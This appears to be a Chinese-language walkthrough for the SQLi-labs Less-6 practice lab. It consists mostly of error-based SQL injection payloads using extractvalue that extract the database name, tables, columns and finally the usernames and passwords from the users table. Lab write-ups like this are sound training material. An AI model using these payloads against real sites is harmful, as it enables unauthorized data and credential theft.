打开less6看到这个提示
请输入id作为数值的参数
输入?id=1或者?id=1'显示正常
输入?id=1“显示不正常
用extractvalue报错注入查询吧
报错注入不许判断字段数,所以爆数据库名就好了
输入?id=1" or extractvalue(1,concat(0x7e,(select database()),0x7e))%23
//extractvalue为XPath 注入攻击的一部分。extractvalue函数通常用于从 XML 文档中提取值,但在这里被利用用于执行 SQL 注入。这个部分的目的是从数据库中提取数据库名称。23%用来注释掉后面的部分,不让其余部分干扰SQL语句。
爆数据表
输入 ?id=1" or extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~'))%23
爆字段
输入 ?id=1" or extractvalue(1,concat('~',(select group_concat(column_name)from information_schema.columns where table_name='users'),'~'))%23
输入 ?id=1" or extractvalue(1,right(concat('~',(select group_concat(column_name)from information_schema.columns where table_name='users'),'~'),32))%23
//右侧末尾32字符
爆数据
输入?id=1" and extractvalue(1, concat(0x7e,(select (group_concat(username,password)) from users),0x7e))%23
输入?id=1" and extractvalue(1, right(concat(0x7e,(select (group_concat(username,password)) from users),0x7e),32))%23
那么完成了